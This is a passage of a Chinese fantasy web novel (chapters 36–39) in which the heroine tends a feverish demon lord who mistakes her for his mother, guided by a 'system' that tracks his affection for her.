这番动静,不仅影响了其它尾巴,就连羿逸安都不由得压抑地闷哼出声。他半虚着眼睛,眉头紧锁,脸上露出迷茫而痛苦的神情。 身后,一股刺激的酥麻感如同电流一般,瞬间传遍他全身,令他眼底闪过一丝惊恐的情绪。 恍惚间,他觉得有些不对劲,心里七上八下的。他努力地想 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两人双目一对,那一瞬间,羿逸安原本迷离的眼神陡然变得冰冷而危险,杀意如狂妄的暴雨,铺天盖地地袭来,大过了最初的震惊。 他嘴唇抿成一条冷硬可怕的直线,周身散发着拒人于千里之外的冷冽气息,好似下一秒就要将胆敢靠近之人狠狠击退。可当文可烟的手微微一紧时,杀意如同冰雪遇见暖阳,渐渐消融,逐渐化为丝丝缕缕的情欲,在他眼底化开蔓延,浓稠得看不清他眼底的文可烟。 这时,羿逸安的眼神变得复杂起来。就在这一瞬间,一丝极细微、难以察觉的欲望,带着满腔的好奇与渴望,也随之在不经意间潜入他心底,开始缓缓发芽。 文可烟读不懂他眼中的各种情绪,只觉得他眼神中似乎藏着一团迷雾,根本没有看见她。 至于那迷雾到底是什么……文可烟心跳莫名加快了几分,一种异样的感觉在心底滋生。在某一霎那,她隐隐察觉到,自己似乎也产生了和他一样的渴望,那种像有小虫在心里轻轻蠕动,痒痒的,却又让人欲罢不能的渴望。 与此同时,强大的视觉冲击让她有种调戏良家妇男的错觉,这样的错觉如同浪潮,一浪又一浪,逐渐地将她淹没。 她的手指在这番挣扎下,不自觉地动了动,渐渐松了力。 那条尾巴在文可烟松手的一瞬间,迅速滑走,躲在羿逸安身后。它躲得极快,只是,谁也未曾发现,它在离开文可烟的手时,几不可见地停顿了一下,好似在留恋什么。 寂静,房间内寂静得可怕。 羿逸安的脸色由红转为白,再由白转为黑,最后再转为更红,像是调色盘的颜色不间断实时变换。 文可烟注意到了他的难受,下意识里,伸出手,想要摸上他的衣服。指尖还未触及,就被羿逸安身上强大又冰凉气场震慑住了。 她的手,在半空中微微一顿,指尖还残留着方才紧张时蜷缩的弧度。 犹豫了片刻,她终于轻声问道:“那个……烘干术怎么使?” 36. 触动(十一) 羿逸安以为会听到什么石破惊天的责备话语,早已做好了准备,正憋着一股劲儿。可没想到,她嘴里蹦出来的,仅仅只是个“烘干术”? 这巨大的落差,让他胸口被一团闷气堵住,憋得他快要炸开了,他认命般的闭上了双眼。 额角的青筋不受控制地隐隐跳动,就像是他此刻杂乱无章的心绪,在皮肤下不安的蛄蛹着。 他实在弄不明白,自己这突如其来的莫名情绪究竟是什么,自然也就不知道该从何处发泄这满腔的郁闷。更何况,他现在浑身乏力,连发火的力气都提不起来,只能任由那痛憋闷在体内横冲直撞。 这时,不知哪儿来的一阵风拂过他的身体。由于衣服还是湿漉漉的,贴在他肌肤上,寒气袭入羿逸安体内,激得他脸色更加惨白,额头上隐隐浮现出一层细密的汗珠。 羿逸安沉默着,一言不发,就连呼吸都变得像是害怕惊扰了空气中流转的气流那般小心翼翼。 空气中流转的气流,似乎也受到了他情绪的影响,变得愈发艰难,压抑地将眼前人紧紧笼罩其中。 羿逸安再次虚虚抬起双眸,像是慢镜头,沉重而又无力地与文可烟的视线交汇在一起…… 那一刻,文可烟从他的眼中看到了极为陌生的情愫。就好像……他此刻的目光并不是聚焦于她,而是越过了她,望向了另一个人。 羿逸安的下颌线条,在这无尽的沉默与翻涌的痛苦中,愈发显得刚硬,似被无形的利刃一刀一刀刻下,深深浅浅,显化着某种难以言说、深沉而又汹涌的难受。 文可烟受不住羿逸安那炽热的眼神,垂下眼眸,视线在慌乱中移开。 片刻之后,她装似无意再次抬眸,视线与他涣散的眼神再次碰撞上。 那一瞬间,羿逸安眼神中多了几分道不明说不清的柔情,星星点点带着光。可那眼神只是短暂地停留了一下,便迅速闪避。 不知为何,文可烟莫名其妙地想起了那些尾巴。天真又可爱,十分孩子气,就像羿逸安此刻流露出的情绪。 果然随主人,都一样躲躲闪闪。 不一会儿,他似调整好状态不再闪躲,反而平静地与她对视,眼底波澜壮阔的大海现在已被一层冰面覆盖,平静得让人看不出一丝情绪。只是,眼睛依旧无力地半虚着。 就这样,羿逸安的眼睛却始终紧紧盯着文可烟,眼球凝滞不动,连眨眼这般本能的动作都强行克制,生怕那短暂的闭合会让眼前的她变得模糊,甚至彻底消散不见。 此刻,他全然不顾自身正承受着多大的难受,争分夺秒地用目光将她牢牢锁住,好似唯有如此,才能将这片刻的真实与温暖永远留存,让时光永远定格在这一瞬。 “你今晚……去哪儿了?” “怎么衣服都湿了。” 文可烟没有得到羿逸安的回答,又轻声补了一句。不过她的样子不像是寻求答案,更像是在没话找话,以按捺住她心中那股难以言喻的躁动。 她真的经受不住羿逸安那深刻得能穿透灵魂的眼神,根本不敢回视他。好似只要一对上,自己就会被那目光中的情绪彻底淹没。 慌乱之中,她的手不经大脑思考,直接就伸了出去,捂住了他的双眼。 终于,那道一直在她身上的视线消失,她本以为自己能松口气,可没想到,心跳却愈发急促起来。就在她稍稍缓了缓神的时候,却感觉自己的衣裙被一股大力死死扯了一下。 文可烟下意识偏过头,目光落在羿逸安的手上。他的手已下意识紧紧抓着她的裙摆,一点儿间隙不留。 由于实在太用力,羿逸安的手止不住地颤抖着。轻微地抖动顺着裙摆传递到文可烟的身上,她的心也随之揪了起来。 与此同时,羿逸安阖上眼睑。 密长的睫毛在文可烟手心轻轻扫过,传来一阵密密麻麻的酥痒感。这种痒意顺着神经末梢蔓延至全身,她只觉浑身一阵战栗,有种想立马放手逃离的冲动。 可羿逸安的手还死死抓着她的裙摆,像极了一个害怕被抛弃的孩童。 在五感之中,触觉和视觉都被羿逸安完全掌控。她能无比清晰地瞧见,他手指毫无间隙地贴着她的裙褥,能敏锐地感受他睫毛每一次细微的颤动。 两相冲撞之下,无形的力度迸发出比它原本还要磅礴数倍的力量。文可烟只觉脑袋被轰鸣,动弹不得,只能任由那酥痒和紧张在心底交织蔓延……搅得她心神不宁。 她呆呆地坐在床边,虚虚地看着羿逸安的手。 良久……久到文可烟以为羿逸安不会回答了,久到她觉得今晚就这么悄无声息地过去了,久到她以为他睡着了…… 周围的一切都变得寂静而沉闷。 突然,一个冰冷的声音打破了这份寂静。 “娘亲。” 羿逸安的声音真的很冷,不带一丝情感,却又惹人怜爱。 这简单的两个字,却如同一道惊雷,在文可烟的耳边炸响。她微微一怔,对这突如其来却又不太明白的话语有些不知所措,大脑一片空白。嘴唇微微张开,像是要说些什么,却又被什么哽在了喉间,一个字也吐不出来。 原本捂在羿逸安眼上的手倏地松开,刹那间,细细密密的凉意从四面八方来袭。她这才后知后觉意识到,羿逸安热得发烫。 而此刻自己离开他脸颊后感受到的凉意,与之前的滚烫形成了鲜明的对比,这温度落差让她不由得一抖。 魔居然也会发烧?而且这魔还不是一般的寻常小魔,是威名远扬的堂堂魔尊大人。 就在这时,一声如受伤小兽的呜咽声传入文可烟耳中,那声音委屈又痛苦。 文可烟身体一僵,完全不知道发生了什么。她小心翼翼地转动眼珠,将视线转到羿逸安的脸上。可她的手刚刚并没有完全放下,此刻还停在半空中,遮挡住她的视线。 她满心的难以置信,于是缓慢地、小心翼翼地移开手。 羿逸安的眼睛好似在听从她的意识,紧紧闭着。他脸色惨白,此刻虚弱得像极了柔弱的人类。额头上满除了细密的汗珠,还有之前残留的水珠。 这与那个在众人眼中雷厉风行、杀伐果断,举手投足间便能掀起腥风血雨的魔尊形象,简直判若两人。若不是文 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文可烟手一滞,只一瞬,便恢复如常。她心中五味杂陈,像是打翻了无味瓶,各种滋味交杂在一起…… “……” 文可烟石化了。 她该说话吗?她该说什么? 她…… 他…… 羿逸安这是把她当成她娘亲了? 霎时间,那些让她疑惑的细节,如同被风吹散的拼图碎片,此刻纷纷归位,有了清晰的轮廓。 怪不得他刚刚看向自己的眼神,突如其来的柔情里满是依赖与眷恋。还有之前自己摸他尾巴时,他那完全异样的反应,此刻想来也有了合理的答案。 分明是看见娘亲摸他尾巴,才会那般……羞涩?应该是羞涩吧。若换作是她,他指定不会如此平静对待她。 文可烟突然觉得这一切都解释得通了,可不知为何,她总觉得心里毛毛的,一种难以言喻的怪异涌上来。就像此刻揪着她襦裙的,并非那个令所有生灵胆颤的成年羿逸安,而是一个天真无邪的小羿逸安。 她也完全想不到,小时候的羿逸安竟会如此纯真可爱。在她的想象中,魔尊的童年或许也是充满血腥与杀戮的。可眼前这脆弱又依赖她的模样,与现在这个浑身散发着冰冷气息、行事狠绝、充满强势感与压迫感的羿逸安简直判若两人。 这反差实在太大了,大到让文可烟有些恍惚。 不知不觉间,她似乎又知道了一个秘密,而她其实本无意探寻这诸多隐秘。她多希望能避开这些复杂又沉重的真相,只守着自己的一方宁静。可命运却紧紧攥着她,让她怎么也逃不开。就好像冥冥之中,一切早已有注定,不由自主地推着她往前走,让她在这未知的道路上,越陷越深。 真的逃不了吗? 房间里安静极了,只有羿逸安均匀的呼吸声在她耳边轻轻响起。 也许是羿逸安今夜本就意识混沌不清,也许是羿逸安今夜受了刺激,又或许是太难受了……他哭着哭着,声音越来越小,最后竟沉沉地睡着了。 37. 触动(十二) 羿逸安苍白又脆弱的脸,就这样毫无保留地显现出来。在微弱烛火的映照下,睫毛上还挂着未干的泪珠,闪烁着细碎的光。刚刚眼眶里蓄着的眼泪积在眼角、脸颊、头发……各处,星星点点,更添了几分破碎的美感。 文可烟静静地凝视着羿逸安,眼中满是复杂的情绪。 此前房间里那股紧绷的氛围,此刻随着羿逸安安稳地睡去而渐渐消散。周围的空气开始缓缓流通起来,带着夜晚独有的静谧与清凉。而那股无名压抑瞬间消失得无影无踪,就好像这房间里流动的气流,真的是由羿逸安那复杂又浓烈的情绪所催生出来的一般。 【恭喜宿主,好感度上涨至15%,请继续保持!】 寂静的夜,万籁俱寂。 文可烟本已心情平复,耳边却突然传来系统的声音,她猛地一颤。 15%? 上次不就已经到了15%吗? 文可烟心中涌起一股无名火,差点就破口大骂出来,搞人心态也不是这么搞的吧! 她愈发觉得这系统不靠谱了。 【是因为宿主你中途的好感度波动太大哦,系统可不背锅。】 系统那听不出情绪的声音再次响起,可文可烟却莫名从这声音里感受到了一丝阴阳怪气,怎么说? 怎么说,能怎么说?好一个波动太大。 【宿主的好感度还是比较实时的,目前你的好感度终于又上涨至15%了!】 奇怪,文可烟总觉得系统说这话时,语气里有种难以掩饰的欣喜。还未等她细细回味,系统就替她答疑解惑了。 【太好了,宿主现在情绪波动真大。】 在系统看来,有情绪波动就说明宿主不是无药可救,还有挽回的余地。 “……” 沉默一瞬后,文可烟微微垂下眼睑,长睫轻颤,似在思索系统那没头没脑话语背后的深意。终于,像是想通了什么,嘴角勾起一个极不自然的笑意,笑意里满是苦涩与自嘲。 她轻轻抿唇,强迫自己冷静下来。可心中却如翻江倒海般,各种情绪混合在一起,搅得她心乱如麻,一点也不好受。 从穿过来到现在,她就像是没有灵魂的木偶,一直都没什么太大的反应。世间繁华,在她眼中不过是过眼云烟,她置身于尘世之外,无欲无求,她一心只求等死,了却这荒诞的一生。 可如今,一个突如其来的声音都能引起她的情绪。这究竟是说明她退步了,还是冥冥之中有了某种进步的征兆呢? 她自己都有些迷茫了。 “既然你说好感度可以下降,那……” 文可烟正欲接着把话说完,可话到嘴边,一股莫名的力量生生扯断了她的思绪。 此刻,羿逸安的手紧紧攥着她的裙褥,没有松减的迹象,反而愈发用力,力道大得像要把裙摆布料都捏碎一般。 他的脸上,水珠密密麻麻地分布着,恰似清晨时分,荷叶上那晶莹剔透、灵动滚动的露珠,顺着他棱角分明的脸颊缓缓滑落,滴落在柔软的被褥上。 脖颈下包裹得严严实实的外衣,此刻也愈发湿润,紧紧贴在他身上,将他健硕的轮廓毫无保留地勾勒出来。流畅而充满力量感的肌肉线条,让人不禁为之侧目。 文可烟看着眼前的羿逸安,心中思绪纷乱,却又被眼前这略带狼狈却又魅力十足的模样扰得有些心慌。 “烘干术怎么用?”文可烟深吸一口气,稳了稳心神,轻声问道。 系统听到这儿可就来劲儿了,这可是宿主好不容易燃起的学点技能的热情,可不得好好教? 【宿主,集中精神,在心中催动……将体内的灵力缓缓汇聚到指尖。】 文可烟停下手中动作,微微闭上眼睛,按照系统所说,集中精神,试图将体内灵力汇聚到指尖。起初,她只觉指尖微微发热,热度如星星之火,最后在她不懈的努力下,渐渐有了燎原之势。 终于,一道柔和而温暖的光芒从她指尖缓缓散发出来,瞬间笼罩了羿逸安的全身。光芒闪烁间,他身上的衣服以肉眼可见的速度干透,就连被褥的湿润也消失得无影无踪。 文可烟缓缓放下手,目光却忍不住往羿逸安身后瞟去。她心里暗自琢磨着,这术法如此厉害,不知道能不能将他身后那些神秘又漂亮的尾巴也一并烘干。 可等她望过去时,却发现他身后的尾巴不知什么时候,早已不动声色收了回去,好似从未出现。 文可烟侧过头,目光悠悠落在羿逸安湿润的面容上。他的脸色白得近乎透明,双眼紧闭,似乎根本不知道发生了什么。 那尾巴是什么时候消失的? 探寻无果,她坐下身来,双手托着下巴,手指无意识地摩挲着脸颊,目光时不时落在羿逸安面容上的水珠上。 “这……魔……要怎么退烧?” 【……魔?退烧?】 系统的声音有些疑惑,似乎对这两个词语的组合感到有些新奇。 文可烟微微抿了抿唇,尽管心中也不太相信魔和发烧这两个词语怎么神奇的组合在一起,但她还是坚定地“嗯”了一声。 系统静默片刻。 【……那……需要宿主额间对着他的额间,催动你体内的灵力……片刻就好。】 文可烟挑眉,眼中闪过一丝怀疑,这系统莫不是在搞她?这退烧的方法怎么听起来这么奇怪,还额间对着额间,这算什么退烧方式? “那魔为什么会发烧?” 系统犹犹豫豫、支支吾吾,声音像是被什么堵住了一般,过了好一会儿才说完。 【……因为……他卸去了……自己身上所有的……魔力和……】 “和什么?” 【宿主,不能说了,这事关后续剧情。】 “……” 行叭,她也不是很想知道。 可是羿逸安为何要卸去身上所有魔力,把自己弄成这幅脆弱的样子呢? “那你确定这样就可以退烧?” 【是的,宿主。】 这样肯定能退烧啊,只不过,无接触退烧的方法也并非没有,但是系统可不会说。它可不想错过这个让魔尊和宿主亲密接触,推动宿主好感度的绝佳好机会,于是选择了这个看似奇怪却又充满暧昧的退烧方式。 回答完后,系统便识趣地退下了,室内再次 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就在这时,文可烟像是下定了某种决心,猛地站起身来。她再次越过羿逸安,走向那跳动的烛火。拿起剪子,有些生疏地一盏一盏将烛火熄灭。 每熄灭一盏烛火,她的眼神就更加坚定一分,好似只要熄灭了这些烛火,她的心也能就此安静下来,不再被这慌乱的情绪所左右。 随着烛灯一盏一盏被熄灭,室内的光线也逐渐黯淡下来,黑暗慢慢吞噬了原本明亮的空间。唯有羿逸安依旧静静地虚虚地躺在床上,他的轮廓在黑暗中渐渐模糊,却又在月光下,逐渐清晰起来。 文可烟的脚步有些迟疑,视线在经过羿逸安时停顿了一瞬,又迅速离开。她再次越过羿逸安,回到属于她的那一边。然后一鼓作气,紧闭双眼,双手撑在羿逸安两侧,指尖无比紧张地曲着,将额头贴上了羿逸安的。 在额头相触的那一瞬间,她五感中只剩下那与羿逸安额头相触的触感,清晰而又强烈。 在某一瞬间,文可烟只觉眼帘处似有微风拂过,那细微的触感带着痒意,像极了羿逸安的睫羽扫过她的眼帘。她身体瞬间僵住,连呼吸都变得小心翼翼。 她有些害怕地睁眼,映入眼帘的依旧是羿逸安紧闭的双眼,长长的睫毛安静地垂落着……他的嘴唇和她的距离近得不可思议,近得她能清晰地感受到他呼出的热气喷洒在她的唇上,温温热热的…… 房间再次陷入一片死寂之中。 只一瞬,文可烟便匆忙闭上双眼,说什么都不再睁眼了,经受不住这么大的冲击画面……太近了…… 她紧闭着双眼,迫使自己平静下来,不知过了多久,终于集中注意力,催动自己体内的灵力。 随着灵力的流转,她的身体周围泛起一层淡淡的光芒,像是一层柔和的纱衣。 渐渐地,羿逸安滚烫的体温逐渐下降,那原本灼人的热度被她的灵力一点点抽离。 可奇怪的是,文可烟却觉得他的滚烫移至自己身上来了,她感到一阵燥热,似乎有一股热流在她体内肆意涌动。 区区一个额面相贴,竟有一种第一次拥吻的错觉。 38. 触动(十三) 文可烟像是被抽走了所有的力气,虚脱般地整个人瘫软在床上。 就在这时,耳边传来又一阵窸窸窣窣的动静,在这寂静的夜里显得格外清晰。一个长长的细条物件被轻轻塞入文可烟手中,那物件带着温热,像是羿逸安掌心的温度。 文可烟的身体微微一僵,手指不自觉蜷缩一下。 下意识地,她举起那物件放在眼前,想要细细观摩一番。可奈何屋内光线太暗,视线内一片模糊,什么也看不清。她的指尖细细摩挲着,那精致的纹路,让她瞬间认出。 九尾狐簪? 她立马坐了起来,双手紧紧握着那簪子,有些紧张看向羿逸安。 羿逸安依旧是之前那副样子,双眼紧闭,没有丝毫变化。 就着清冷月光,她静静看了九尾狐簪好半晌。最后,她轻轻将簪子放到羿逸安枕边,只盼羿逸安明早起来能一眼瞧见,将它妥善带走。 做完一切后,文可烟翻滚至离羿逸安很远的另一边。 还好床很大,她和羿逸安之间的距离,和睡在两张床榻上差不多,她蜷缩在那头迷迷糊糊地睡着了。 * 文可悠悠转醒,是在一阵令人窒息的沉重压迫感中猛然惊醒的。鼻间的压力如影随形,使得空气也变得异常稀薄,让她喘不过来气。她猛地睁开双眼,急促呼吸了一瞬。 只见白酒正趴在她头边,小小的脑袋惬意地枕在她的枕头,睡得那叫一个香。而它的身体,不偏不倚堵住了她的鼻息。 白酒从九尾狐簪出来后,也不管周围是什么环境,有什么东西,只一门心思找了个称心的位置,舒舒服服地趴着赖床。它的小爪子还时不时地抓一抓,像是在做着甜美的梦。 直到文可烟被压得难受,终于耐不住,猛地伸手推开了白酒。白酒“咕噜”一声,圆滚滚的毛球翻了个身,迷迷糊糊地般醒过来。 当看清眼前的局势后,他毛茸茸的耳朵动了动,连忙用那奶声奶气的声音,带着一丝讨好向文可烟道歉:“烟烟,对不起呀,我不是故意的。” 文可烟下意识偏头,扫一眼她旁边的位置,那里早已空空如也,只余下一片淡淡的褶皱。紧接着,手指在枕边来回扫动,某一瞬间,凉意顺着指尖蔓延开来。 簪子的出现,似乎在告诉她昨晚的一切都真实存在,并非一场虚无的梦境。 她真的得缩短两个月之约,加快让羿逸安杀掉她的进度了,不然……不然等她再这样浑浑噩噩地耗下去,可能就又会步入老路,陷入一场无意义又难受的循环罢了。 “你昨晚又被自动送进‘小黑屋’了?”说着,文可烟坐起身来,将簪子收进衣袖处。 “应该是吧。”白酒打了一个大大的哈欠,无所谓地说道。看起来丝毫不在意,只是随口一答。接着,它又伸了一个懒腰,小小的身子舒展开来,慵懒至极。 文可烟看出白酒的困意,问道:“那你今日为何如此早就出来了?” 白酒这会儿眯着它的大眼睛,偷偷瞟了文可烟一眼,余光瞥见文可烟收进衣袖里的九尾狐簪,“还不是怕主人提前走了,我今日就没机会出来了。不过……他还是比我醒得早,但是簪子已经又在你手中啦!而且……” 白酒说话的声音突然停了下来,小小的鼻尖在轻微颤动,似乎在捕捉空气中一些若有若无的气息。 它歪着头,睡意醒了一大半,小脸上满是认真,一双圆溜溜的眼睛紧紧盯着文可烟,一副要从她身上看出个所以然来。 “你身上……似乎有什么奇怪的味道。”白酒皱着小鼻子,朝文可烟靠近一些,缓缓道。 文可烟微微一怔,她下意识抬起胳膊,在自己身上嗅了嗅,却没觉得她身上有什么奇怪味道。但听见白酒这么说,她心下还是一紧。 味道?什么味道?她昨天可没做什么奇怪的事情吼! “什么味道?”文可烟端正自己的姿势,尽量用平静的语气问道,可她指尖却不自觉揪紧了发皱的衣角。 白酒又向她凑近一些,小小的身子几乎要贴到文可烟身上。它的小鼻子在空中不停地嗅着,试图更精准地捕捉那点细微的气味。 文可烟看着逐步靠近的白酒,身体下意识往后倾斜一个十分小的角度。如果不仔细看,根本察觉不出她在躲避,只能看出她身姿十分僵硬。 白酒突然抬起头,望向文可烟。在它们对视的一瞬间,文可烟的眼珠莫名有些心虚地微颤,慌乱地闪躲着白酒的视线。 怎么回事? 怎么有种被小孩子捉奸在床的错觉。 文可烟在心里叫苦不迭,脸上却强装镇定。 苍天呐!她昨晚真的什么也没干! “妖。”白酒的声音突然斩钉截铁地响起。 “啊?”文可烟显然没反应过来,一脸茫然地看着白酒。 妖?什么妖? “还是只狐妖。”白酒小脑袋不停地晃动着,鼻翼一张一合,依旧不停地运作着,仔细辨别文可烟身上残留的气息。 “狐妖?”文可烟小心翼翼地重复,脑海中浮现出羿逸安身后毛茸茸的尾巴…… “嗯,你身上有狐妖血的味道。”白酒点头,随后说出它闻出来的事实。 血? 可她昨晚没看见什么血渍啊。 她的眼神在房间里四处游移,想要从周围的环境中找到一丝线索。 难不成是……羿逸安的? 白酒看样子似乎根本不知道羿逸安的身世,可……其实她也不太知道啊。 文可烟一脸紧张盯着白酒,再次发问,她想确定一件事情,“你能闻出那只狐妖……有几条尾巴吗?” 白酒有些不解地看向文可烟,只一瞬,他便臭屁起来,身后的九条小点点尾巴在身后不停地晃动着,“那当然!我可是天下唯一的九尾灵宠!” 臭屁完后,还不忘将它那圆滚滚的脑袋翘得老高,眼睛亮亮的,接着说道:“是只高阶狐妖,应该是五尾。” 文可烟闻言,几不可见地松了一口气。她的身体微微放松,紧绷的肩膀缓缓落下,屁股缓缓坐在了柔软床上。 白酒回答完,终是察觉出一丝不寻常。它歪着头,带着审视意味的目光落在文可烟脸上:“你最近身上为什么总是多了这么些奇奇怪怪的味道。” 文可烟闻言, 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昨晚羿逸安是全身湿透,意识十分不清时过来的。 前几次,她都能闻见羿逸安沐浴过后的香气,可昨晚她什么也没闻见。 难道他是直接下水,衣服也没换吗? 她的手指轻轻摩挲着那块布料,好似还能触摸到昨晚他的温度。 可究竟什么,才能使得他衣服也不褪去就沐浴呢? 又是什么,才能使得他意识不清地走到魔尊净地呢? 狐妖……与九尾狐…… 都是狐族,这两者之间又有什么牵扯呢? 文可烟只觉所有信息在她脑中盘旋,可那些却像是被风吹散的雾,怎么也拼不回了。 这时,白酒像是察觉到了她的异样低低飞到她眼前,用十分关切的眼神看着她。 在白酒的身子闯进文可烟的视线里时,她眼神才开始逐渐聚焦。可依旧不清澈,依旧蒙上了一层薄雾,她疲累地开口:“白酒,要不你再回簪子里睡一觉,我有些困了。” 说完,还没等白酒回答她,文可烟的身体向后仰去,靠在柔软的床背上。她闭上眼睛,左臂轻搭在双眼前,将一切都隔绝在外。 白酒见状,闭上了刚想要回答的嘴。它自觉迈着小碎步,趴在离文可烟不远的床边。 它没有回簪子里,也没有发出任何声响去打扰她,仅仅是乖乖陪在文可烟身边,默默守护。 文可烟此刻内心焦躁不安,她有一种强烈的预感,感觉自己最开始的初衷越来越远了…… 她下意识地动了动右手,在身旁的被褥上随意摸索着,以此来缓解内心的烦闷。不经意间,触碰到了一个毛茸茸的物体。指尖微微一顿,好半晌,才缓缓将手搭在白酒那圆滚滚、毛茸茸的身体上。 白酒见文可烟的手没有收回的意思,依旧搭在自己身上,便把自己的身子慢悠悠地往文可烟的手边凑过去。不仅如此,它甚至大大方方地把身后那九条尾巴都展露在文可烟手下,还轻轻晃动着,好似供文可烟尽情抚摸,好哄她开心。 39. 触动(十四) 毛茸茸的尾巴轻轻拂过文可烟手心,带来一丝痒痒的感觉。可这痒痒的感觉却像有一种神奇的力量,莫名地让她的神经舒缓了下来。 在白酒这般贴心的陪伴下,文可烟好受一些了。 可……即便如此,一滴湿润终究还是顺着文可烟的眼角滑了下来,留下一道浅浅的泪痕。 …… 不知过了多久,文可烟睁开双眼,只觉眼皮似有千斤重,眼前一片混沌漆黑。她懵懵懂懂地缓了好半晌,神智才逐渐归位。 这时,文可烟才后知后觉地发觉,自己的左小臂死死地压在双眼之上。怪不得眼前一片漆黑,原来视线是被遮得严严实实。 她缓缓将自己的左手从眼前移开,放到身侧。本以为会被刺眼的光线灼痛双眼,可意料之中的强光并未出现。映入眼帘的,不过是一片昏黄的世界。 她有些恍惚,呆呆地望向窗外,眼珠里倒映着的,是那轮正缓缓下沉的夕阳。 “烟烟,你终于醒了,饿了吗?” 白酒的声音飘进文可烟耳朵里。她如梦初醒地侧过身,微微垂下眼睑,而后看向白酒。呆滞的眼神中没有一丝光彩,可即便如此,那夕阳点点光影,依旧在她眼中闪烁。 文可烟试图起身,可身子却有些绵软无力。她呼出一口气,强撑着稳住摇摇欲坠的身子。微微张开嘴,试图说些什么,却发现嘴唇干涸得厉害,竟连半个音节也吐不出来。那股喝水的强烈欲望,在她血液里肆意流动,使得她忍不住皱起了眉头。 就在这时,一双骨节分明、修长如玉的手出现在文可烟眼前。夕阳的余晖轻柔地洒落在那双手上,为其镀上了一层淡淡的金色光晕,更显得这双手圆润无暇、精致绝伦。 文可烟的视线顺着指尖划过,紧接着,她看到了一杯清澈透明的水,在杯中微微荡漾,折射出细碎的光芒。 文可烟眸光微微一动,身体那些躁动因子在此刻都消停下来,被这双手安抚下来。 尽管她现在喉咙干涸得如同久旱的土地,急需水分的滋养,可强烈的好奇心还是驱使着她,忍不住偏过头,想要看看拥有这双修长双手的,到底是谁,以满足她这不合时宜却又难以抑制的探索欲。 她再次转动眸光,却与一双冰冷似冬雪的眼睛撞了个正着,那双眼里没有一丝温度,却无比澄澈。 文可烟只觉得脊背一凉,整个人瞬间愣神了。她下意识地小幅度扭头,看了眼窗外还未完全漆黑的天色。 窗外,夕阳的余晖正渐渐消散。 接着,文可烟又不动声色将视线移至羿逸安的胸前。 嗯? 那天晚上,她分明记得,模糊间,他说他这一周都可能不会过来吗? 她这是睡了……一周? 什么情况? 又或者,她做梦了? 她机械且僵硬地微仰起头,目光落在羿逸安冷若寒星的面容上。 室内此刻静得可怕,甚至都能听见她扭动脖子发出的“咔咔”声。 很不凑巧,羿逸安这时也微微低下了头。 从文可烟的视角看来,他就像一位高高在上的冷傲的神祇,在睥睨众生。而自己,就像一只微不足道的蝼蚁,渺小又自不量力,只能在他的目光下无所遁形。 他顶着这样一张面如僵尸般冷峻的脸,文可烟没被吓到那绝对是假的。此刻,她手心不知不觉间竟冒出了些许冷汗。 试问,谁醒来看到这样一副表情、气场强大的成年男性挡在眼前,能不震惊? 文可烟不受控制地双腿一软,整个人直直地跌坐下去。双手本能撑在床榻上,支撑她摇摇欲坠的全部重量。 文可烟这样一副柔弱又可怜的姿态,落在羿逸安眼中,让他心里不禁微微一动。那奇怪的感觉又涌上来,怪异又难耐。尤其是看到文可烟双眼周围微微泛红,恰似一朵带着晶莹露珠的梨花,好一副楚楚动人的可人模样。 羿逸安的唇线依旧紧紧抿成一条直线,可原本紧绷的面部线条,却微微有了一丝松动。 他捏杯子的指尖微不可察紧了一紧,杯中的水也随之微微晃动起来。他的眸光甚至都暗沉几分,但很快,他便迅速转移视线,眼珠朝那杯水微微一转,同时,扬了扬下巴,示意文可烟接过杯子喝水。 可在文可烟看来,他这幅阴冷面孔,让她不由自主觉得,他递过来的哪是一杯水,分明就是一杯毒酒,而且还是那种喝下去不到一秒就能让人一命呜呼的剧毒之酒。 不过,文可烟向来是个不怕死却格外怕疼的人,此刻自然是一点儿也不恐惧的。何况,这杯中的水不过是再普通不过的清水罢了,哪有什么她凭空想象出来的毒酒。 文可烟伸出手去接那杯水。当她的指尖不经意间触碰到羿逸安的手时,她像是被烫到了一般,飞快地将手缩了回来。 不是被吓到了,也不是像是被烫到了,是她真的被烫到了。 她心里又惊又疑,这羿逸安的体温,和她印象中的魔尊简直大相径庭。在那些她看过的小说和电视剧里,魔尊总是冷冰冰、阴森森的,周身散发着令人不寒而栗的气息。可眼前这羿逸安倒好,身上好似有一团火在他心中源源不断地供给热量,温暖得有些过分。 明明昨日还全身冰冷,像块千年寒冰,怎么这会儿温度就高得离谱?他是什么加热器吗? 当然,她也不确定是不是昨天,或许已经过去一周了。 其实,瞬间收手的并不只有文可烟,羿逸安亦是如此。 当文可烟那温热的指尖触碰到他的瞬间,羿逸安的身体瞬间僵硬,但他的反应速度还是快得惊人,好似身体里被提前设定了精密的程序,又像是长期在危险边缘游走练就的本能,迅速将手收了回去。 不仅如此,他还连带着脚步凌乱地后退了几步,好似文可烟是什么洪水猛兽。 速度快得连文可烟都没来得及看清他的动作,只觉眼前一花,有一阵裹挟着冷香的风从身边掠过。再定睛一看,他已退到了几步以外,与她拉开了一段距离。 此刻,羿逸安胸膛随着呼吸轻轻起伏着,眼神中透露出一丝警惕,紧紧盯着文可烟,像是在防备着什么。 而文可烟则呆在原地,一脸错愕地看着羿逸安,完全不明白他为何会有如 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可仔细看去,他的手臂却藏在宽大的衣袖中微微颤抖着,像是在极力克制着什么。 文可烟默默从那水流处移开视线。 起初,她并未太过在意羿逸安的异常,只当他是被这突如其来的状况弄得有些不知所措。可时间一长,她才渐渐琢磨出一丝不对劲来。 这羿逸安,怎么一直保持着这种姿势,难不成这杯中有什么玄机? 她目光忍不住在杯子和羿逸安的脸上来回游移。 “羿逸安。” “嗯。”羿逸安这才如梦初醒,应了一声。 接着,他终于换了姿势,慢吞吞往膳桌那边走去。脚步竟还有些踉跄,完全没有魔尊冰冷而沉稳的特质。 到了膳桌边,他像是完成一项重大使命般,将杯子里的水迟缓倒掉,又重新倒满一杯。倒完后,他才再次沉重无比向床边靠近,将那杯水递到文可烟眼前。 文可烟看着他的动作,心中怪异愈发强烈,可又说不出来具体哪儿古怪。她只好暂时按下心中怪异,伸手接过那杯水。 手指触碰到杯壁,温热透过杯壁传来,真实的触感让文可烟微微一怔。她缓缓将水送入口中,清凉的水滑过喉咙,让她喉咙的烧疼得到了一丝滋润。 喝完后,她正愁把被子放哪儿好,一个身影便悄然靠近她,体贴地将杯子从她手中取走。动作间十分小心翼翼,完全没有碰到她分毫。 文可烟抬眼想近距离观察面前的人,却只能看见他的侧身。 羿逸安微微低着头,侧脸轮廓分明,线条冷峻。发丝有些凌乱,遮住了他的眉眼,让人看不清他的表情。 文可烟松弛的表情下终于有了一些反应,她蹙了蹙眉。 她终于知道古怪之处是什么了。 